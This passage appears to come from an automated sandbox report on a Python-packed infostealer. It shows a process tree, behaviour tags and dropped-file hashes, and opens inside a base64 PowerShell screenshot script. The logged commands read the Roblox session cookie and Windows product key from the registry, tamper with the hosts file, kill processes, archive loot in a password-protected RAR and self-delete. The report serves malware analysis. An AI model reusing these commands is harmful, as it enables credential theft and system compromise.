gApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                      4⤵
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:5624
                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bzqf21h5\bzqf21h5.cmdline"
                                                                        5⤵
                                                                          PID:6628
                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES74ED.tmp" "c:\Users\Admin\AppData\Local\Temp\bzqf21h5\CSCF826A92635514A7BA63C4E3C95C21AF1.TMP"
                                                                            6⤵
                                                                              PID:6848
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                        3⤵
                                                                          PID:2348
                                                                          • C:\Windows\system32\tree.com
                                                                            tree /A /F
                                                                            4⤵
                                                                              PID:6284
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                                            3⤵
                                                                              PID:6176
                                                                              • C:\Windows\system32\attrib.exe
                                                                                attrib -r C:\Windows\System32\drivers\etc\hosts
                                                                                4⤵
                                                                                • Drops file in Drivers directory
                                                                                • Views/modifies file attributes
                                                                                PID:6364
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                              3⤵
                                                                                PID:6392
                                                                                • C:\Windows\system32\tree.com
                                                                                  tree /A /F
                                                                                  4⤵
                                                                                    PID:6520
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                                                  3⤵
                                                                                    PID:6452
                                                                                    • C:\Windows\system32\attrib.exe
                                                                                      attrib +r C:\Windows\System32\drivers\etc\hosts
                                                                                      4⤵
                                                                                      • Drops file in Drivers directory
                                                                                      • Views/modifies file attributes
                                                                                      PID:6548
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                    3⤵
                                                                                      PID:6596
                                                                                      • C:\Windows\system32\tree.com
                                                                                        tree /A /F
                                                                                        4⤵
                                                                                          PID:6728
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                        3⤵
                                                                                          PID:6648
                                                                                          • C:\Windows\system32\tasklist.exe
                                                                                            tasklist /FO LIST
                                                                                            4⤵
                                                                                            • Enumerates processes with tasklist
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:6748
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                          3⤵
                                                                                            PID:6768
                                                                                            • C:\Windows\system32\tree.com
                                                                                              tree /A /F
                                                                                              4⤵
                                                                                                PID:6832
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                              3⤵
                                                                                                PID:6872
                                                                                                • C:\Windows\system32\tree.com
                                                                                                  tree /A /F
                                                                                                  4⤵
                                                                                                    PID:6956
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2920"
                                                                                                  3⤵
                                                                                                    PID:3464
                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                      taskkill /F /PID 2920
                                                                                                      4⤵
                                                                                                      • Kills process with taskkill
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:5656
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2920"
                                                                                                    3⤵
                                                                                                      PID:6028
                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        4⤵
                                                                                                          PID:5844
                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                          taskkill /F /PID 2920
                                                                                                          4⤵
                                                                                                          • Kills process with taskkill
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:5592
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3344"
                                                                                                        3⤵
                                                                                                          PID:5600
                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                            taskkill /F /PID 3344
                                                                                                            4⤵
                                                                                                            • Kills process with taskkill
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:6380
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3344"
                                                                                                          3⤵
                                                                                                            PID:6368
                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                              taskkill /F /PID 3344
                                                                                                              4⤵
                                                                                                              • Kills process with taskkill
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:2928
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2996"
                                                                                                            3⤵
                                                                                                              PID:6292
                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                taskkill /F /PID 2996
                                                                                                                4⤵
                                                                                                                • Kills process with taskkill
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:5504
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2996"
                                                                                                              3⤵
                                                                                                                PID:6188
                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                  taskkill /F /PID 2996
                                                                                                                  4⤵
                                                                                                                  • Kills process with taskkill
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:5832
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4504"
                                                                                                                3⤵
                                                                                                                  PID:6532
                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                    taskkill /F /PID 4504
                                                                                                                    4⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:6560
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4504"
                                                                                                                  3⤵
                                                                                                                    PID:6544
                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                      taskkill /F /PID 4504
                                                                                                                      4⤵
                                                                                                                      • Kills process with taskkill
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:6572
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1136"
                                                                                                                    3⤵
                                                                                                                      PID:6444
                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                        taskkill /F /PID 1136
                                                                                                                        4⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:6724
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1136"
                                                                                                                      3⤵
                                                                                                                        PID:6492
                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                          taskkill /F /PID 1136
                                                                                                                          4⤵
                                                                                                                          • Kills process with taskkill
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:6644
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5064"
                                                                                                                        3⤵
                                                                                                                          PID:6840
                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                            taskkill /F /PID 5064
                                                                                                                            4⤵
                                                                                                                            • Kills process with taskkill
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:6700
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5064"
                                                                                                                          3⤵
                                                                                                                            PID:6804
                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                              taskkill /F /PID 5064
                                                                                                                              4⤵
                                                                                                                              • Kills process with taskkill
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:6928
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1752"
                                                                                                                            3⤵
                                                                                                                              PID:2296
                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                taskkill /F /PID 1752
                                                                                                                                4⤵
                                                                                                                                • Kills process with taskkill
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:6888
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1752"
                                                                                                                              3⤵
                                                                                                                                PID:3088
                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                  taskkill /F /PID 1752
                                                                                                                                  4⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:6980
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1604"
                                                                                                                                3⤵
                                                                                                                                  PID:4628
                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                    taskkill /F /PID 1604
                                                                                                                                    4⤵
                                                                                                                                    • Kills process with taskkill
                                                                                                                                    PID:5152
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1604"
                                                                                                                                  3⤵
                                                                                                                                    PID:6356
                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                      taskkill /F /PID 1604
                                                                                                                                      4⤵
                                                                                                                                      • Kills process with taskkill
                                                                                                                                      PID:5624
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4020"
                                                                                                                                    3⤵
                                                                                                                                      PID:5640
                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                        taskkill /F /PID 4020
                                                                                                                                        4⤵
                                                                                                                                        • Kills process with taskkill
                                                                                                                                        PID:5428
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4020"
                                                                                                                                      3⤵
                                                                                                                                        PID:5376
                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                          taskkill /F /PID 4020
                                                                                                                                          4⤵
                                                                                                                                          • Kills process with taskkill
                                                                                                                                          PID:752
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                        3⤵
                                                                                                                                          PID:5648
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                            4⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:1800
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                          3⤵
                                                                                                                                            PID:7108
                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                              4⤵
                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                              PID:7136
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                            3⤵
                                                                                                                                              PID:5136
                                                                                                                                              • C:\Windows\system32\getmac.exe
                                                                                                                                                getmac
                                                                                                                                                4⤵
                                                                                                                                                  PID:5984
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI8922\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\R3l4S.zip" *"
                                                                                                                                                3⤵
                                                                                                                                                  PID:5780
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI8922\rar.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\_MEI8922\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\R3l4S.zip" *
                                                                                                                                                    4⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:5560
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:6352
                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                      wmic os get Caption
                                                                                                                                                      4⤵
                                                                                                                                                        PID:5600
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:6224
                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                          wmic computersystem get totalphysicalmemory
                                                                                                                                                          4⤵
                                                                                                                                                            PID:2348
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:5820
                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                              wmic csproduct get uuid
                                                                                                                                                              4⤵
                                                                                                                                                                PID:5760
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:5652
                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                  PID:6088
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:6520
                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                    wmic path win32_VideoController get name
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Detects videocard installed
                                                                                                                                                                    PID:6624
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5968
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                      PID:6728
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\Downloads\Built.exe""
                                                                                                                                                                    3⤵
                                                                                                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                    PID:6136
                                                                                                                                                                    • C:\Windows\system32\PING.EXE
                                                                                                                                                                      ping localhost -n 3
                                                                                                                                                                      4⤵
                                                                                                                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                      • Runs ping.exe
                                                                                                                                                                      PID:6432
                                                                                                                                                              • C:\Windows\system32\taskmgr.exe
                                                                                                                                                                "C:\Windows\system32\taskmgr.exe" /4
                                                                                                                                                                1⤵
                                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                                PID:6596

                                                                                                                                                              Network

                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                              Replay Monitor

                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                              Downloads

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                                Filesize

                                                                                                                                                                3KB

                                                                                                                                                                MD5

                                                                                                                                                                8740e7db6a0d290c198447b1f16d5281

                                                                                                                                                                SHA1

                                                                                                                                                                ab54460bb918f4af8a651317c8b53a8f6bfb70cd

                                                                                                                                                                SHA256

                                                                                                                                                                f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5

                                                                                                                                                                SHA512

                                                                                                                                                                d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                                                                Filesize

                                                                                                                                                                152B

                                                                                                                                                                MD5

                                                                                                                                                                fab8d8d865e33fe195732aa7dcb91c30

                                                                                                                                                                SHA1

                                                                                                                                                                2637e832f38acc70af3e511f5eba80fbd7461f2c

                                                                                                                                                                SHA256

                                                                                                                                                                1b034ffe38e534e2b7a21be7c1f207ff84a1d5f3893207d0b4bb1a509b4185ea

                                                                                                                                                                SHA512

                                                                                                                                                                39a3d43ef7e28fea2cb247a5d09576a4904a43680db8c32139f22a03d80f6ede98708a2452f3f82232b868501340f79c0b3f810f597bcaf5267c3ccfb1704b43

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                                                                Filesize

                                                                                                                                                                152B

                                                                                                                                                                MD5

                                                                                                                                                                36988ca14952e1848e81a959880ea217

                                                                                                                                                                SHA1

                                                                                                                                                                a0482ef725657760502c2d1a5abe0bb37aebaadb

                                                                                                                                                                SHA256

                                                                                                                                                                d7e96088b37cec1bde202ae8ec2d2f3c3aafc368b6ebd91b3e2985846facf2e6

                                                                                                                                                                SHA512

                                                                                                                                                                d04b2f5afec92eb3d9f9cdc148a3eddd1b615e0dfb270566a7969576f50881d1f8572bccb8b9fd7993724bdfe36fc7633a33381d43e0b96c4e9bbd53fc010173

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                Filesize

                                                                                                                                                                5KB

                                                                                                                                                                MD5

                                                                                                                                                                4999dd268af0c4e3990a46dfe81f0fe2

                                                                                                                                                                SHA1

                                                                                                                                                                b25b4fc5b41b5a974124397787a22976c5712332

                                                                                                                                                                SHA256

                                                                                                                                                                80d46c6c0d078687bfe2793fba15476ccc8b315fae2b89354c6a6f7b86af654c

                                                                                                                                                                SHA512

                                                                                                                                                                15ca05a5fbbd57b515262726952690b018e953994a24759da349faf16528f2317f9879f98fb4f2bf89f7c8c26c9acf182e64392fd13fb62bab00260cb11b7bdf

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                Filesize

                                                                                                                                                                6KB

                                                                                                                                                                MD5

                                                                                                                                                                0794ea796c04d898cb55c01d980c2511

                                                                                                                                                                SHA1

                                                                                                                                                                6d9ed8bd7b3889c48630e4aa3500c3dd8081c465

                                                                                                                                                                SHA256

                                                                                                                                                                b903951d3efcddb55a8a13230554a1ba8758511171b4be019778035df0b255e8

                                                                                                                                                                SHA512

                                                                                                                                                                018f8d16b6fcc24ee88bee547bb4de325ada6a3ae19067b61f9549837b0f7f36691ccf3c69b9cdeb45eb11a636e7423b058bc7fcce5ecb8b74a3d337fa6b4da6

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                                                                                                                                Filesize

                                                                                                                                                                16B

                                                                                                                                                                MD5

                                                                                                                                                                6752a1d65b201c13b62ea44016eb221f

                                                                                                                                                                SHA1

                                                                                                                                                                58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                                                                                                                                SHA256

                                                                                                                                                                0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                                                                                                                                SHA512

                                                                                                                                                                9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                Filesize

                                                                                                                                                                11KB

                                                                                                                                                                MD5

                                                                                                                                                                2be191db334e2ef876dec70d94c59136

                                                                                                                                                                SHA1

                                                                                                                                                                31cc2687c99a508a9381b98443753fe089487220

                                                                                                                                                                SHA256

                                                                                                                                                                d66b30094d386a7ede2226ed509b668437aa9cdbfe24cc2ce91a1c4b73b1e6ee

                                                                                                                                                                SHA512

                                                                                                                                                                6fe1aaf60f39be2e091bb233f6ccbdc42d67bf0ef0fa615c03464ee2374c5bf7d496ae738c573a74cd61d9fec18fc3ba20b819808eb94a87ea421e00263759a9

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                Filesize

                                                                                                                                                                11KB

                                                                                                                                                                MD5

                                                                                                                                                                4ae0bcdc97ee637421b39d45f9e40971

                                                                                                                                                                SHA1

                                                                                                                                                                299259ca0bc92ece444d0eb8024008ca8e37600f

                                                                                                                                                                SHA256

                                                                                                                                                                566bc05bd27ed3c4d6e4c03ac5992705c06aaf0b59a9b6516413cd08f1072c8b

                                                                                                                                                                SHA512

                                                                                                                                                                21a3aee0fc29da749810f0a7983242b003b8e8346b5f267ef2305f28b5e1d865460afebd48b8173ed2c572073bef65dcf50d183c1cf15eb995f59200c561b49d

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                Filesize

                                                                                                                                                                1KB

                                                                                                                                                                MD5

                                                                                                                                                                e67b7a4d382c8b1625787f0bcae42150

                                                                                                                                                                SHA1

                                                                                                                                                                cc929958276bc5efa47535055329972f119327c6

                                                                                                                                                                SHA256

                                                                                                                                                                053d0b08f22ff5121cb832d514195145a55b9a4ca26d1decd446e11b64bef89c

                                                                                                                                                                SHA512

                                                                                                                                                                3bf0311fe0c57fb9a1976fbeae6d37015736c32c59832252f3bc4c055b2a14c6bcc975dcd63b480d4f520672687a62d5ccd709a6ebdb4566bb83fb081b3f4452

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                Filesize

                                                                                                                                                                944B

                                                                                                                                                                MD5

                                                                                                                                                                cadef9abd087803c630df65264a6c81c

                                                                                                                                                                SHA1

                                                                                                                                                                babbf3636c347c8727c35f3eef2ee643dbcc4bd2

                                                                                                                                                                SHA256

                                                                                                                                                                cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

                                                                                                                                                                SHA512

                                                                                                                                                                7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RES74ED.tmp

                                                                                                                                                                Filesize

                                                                                                                                                                1KB

                                                                                                                                                                MD5

                                                                                                                                                                301abdff483a51f6195749fad63c7839

                                                                                                                                                                SHA1

                                                                                                                                                                06208f64f16a2e063d1b42872fbbcec825a12723

                                                                                                                                                                SHA256

                                                                                                                                                                95c381771c54d3642e3e64a0ee8642515a1d358f6a267aad86e1e62ad5582426

                                                                                                                                                                SHA512

                                                                                                                                                                f55989adc25fd447e9895c2d7387fcc1f66b879c0addd4a0bb1c8e89c028158cfb0303495a052fbd7f6a5be78b3afa39abad1fb80bb3ffac3b5486a2a4a12992

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI8922\VCRUNTIME140.dll

                                                                                                                                                                Filesize

                                                                                                                                                                117KB

                                                                                                                                                                MD5

                                                                                                                                                                862f820c3251e4ca6fc0ac00e4092239

                                                                                                                                                                SHA1

                                                                                                                                                                ef96d84b253041b090c243594f90938e9a487a9a

                                                                                                                                                                SHA256

                                                                                                                                                                36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

                                                                                                                                                                SHA512

                                                                                                                                                                2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI8922\_bz2.pyd

                                                                                                                                                                Filesize

                                                                                                                                                                48KB

                                                                                                                                                                MD5

                                                                                                                                                                58fc4c56f7f400de210e98ccb8fdc4b2

                                                                                                                                                                SHA1

                                                                                                                                                                12cb7ec39f3af0947000295f4b50cbd6e7436554

                                                                                                                                                                SHA256

                                                                                                                                                                dfc195ebb59dc5e365efd3853d72897b8838497e15c0977b6edb1eb347f13150

                                                                                                                                                                SHA512

                                                                                                                                                                ad0c6a9a5ca719d244117984a06cce8e59ed122855e4595df242df18509752429389c3a44a8ba0abc817d61e37f64638ccbdffc17238d4c38d2364f0a10e6bc7

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI8922\_ctypes.pyd

                                                                                                                                                                Filesize

                                                                                                                                                                62KB

                                                                                                                                                                MD5

                                                                                                                                                                79879c679a12fac03f472463bb8ceff7

                                                                                                                                                                SHA1

                                                                                                                                                                b530763123bd2c537313e5e41477b0adc0df3099

                                                                                                                                                                SHA256

                                                                                                                                                                8d1a21192112e13913cb77708c105034c5f251d64517017975af8e0c4999eba3

                                                                                                                                                                SHA512

